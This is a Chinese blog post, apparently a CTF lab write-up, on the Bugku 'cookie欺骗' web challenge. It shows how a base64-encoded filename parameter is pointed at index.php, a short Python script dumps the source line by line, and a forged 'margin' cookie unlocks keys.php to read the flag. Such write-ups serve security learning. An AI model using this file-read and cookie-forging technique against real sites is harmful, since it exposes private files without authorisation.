Bugkuctf web cookie欺骗

最新推荐文章于 2024-03-12 22:42:04 发布

Amire0x

最新推荐文章于 2024-03-12 22:42:04 发布

阅读量735

点赞数 1

CC 4.0 BY-SA版权

分类专栏：安全大杂烩

本文链接：https://blog.youkuaiyun.com/qq_43271194/article/details/89892924

安全大杂烩专栏收录该内容

32 篇文章

订阅专栏

博客围绕URL参数展开，发现URL上有类似base64编码内容并进行解码。通过对URL中filename和line参数的测试，参考他人思路，利用PHP解析逻辑，构造让filename读取自身的方式获取代码，还给出手动输入行号和用Python脚本两种获取代码的方式，并介绍了相关代码函数。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

题目链接

又有新东西啦

打开
在这里插入图片描述发现没啥用，查看源码也没什么

注意到URL上有一串类似base64编码的东西

解码
在这里插入图片描述
习惯性访问一下

在这里插入图片描述那下面又该咋办呢？？？
URL里filename有参数,line没有参数
要不试一试价格参数？

line=1，啥都没有

注意到filename 的参数是base64编码后的

那再把1,2,3编码一波试试？

在这里插入图片描述又回去了啥都没有。。。

懵逼中。。。

在这里插入图片描述看了一下别人的writeup
注意到一个逻辑

php解析的时候 line 表示的是行号，filename是对于文件内容的读取，所以，直接构造一个逻辑矛盾，让filename去读自己即读index.php

还是要编码一下，毕竟filename都是编码了的

于是
在这里插入图片描述显然随着line行数变化，代码也出来了

这里有两种方式

第一种自己一次输入行号，然后copy出来

第二种是用python写个小脚本出来，就个人而言，选择第二种好一些吧

附上脚本

import requests
a=30
for i in range(a):
    url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
    r=requests.get(url)
    print (r.text)

找到的代码

<?php
 
error_reporting(0);
 
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
 
$line=isset($_GET['line'])?intval($_GET['line']):0;
 
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
 
$file_list = array(
 
'0' =>'keys.txt',
 
'1' =>'index.php',
 
);
 
 
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){      
 
$file_list[2]='keys.php';
 
}
//看看这个地方！！！
 
 
 
if(in_array($file, $file_list)){
 
$fa = file($file);
 
echo $fa[$line];
 
}
 
?>

代码相关函数
？是条件语句
intval()
函数用于获取变量的整数值
header()
函数向客户端发送原始的 HTTP 报头。这里是跳转到一个新地址
array()
创建一个新数组
file()
把文件读入数组

接下来构造
filename=a2V5cy5waHA=
Cookie:margin=margin
就行啦
在这里插入图片描述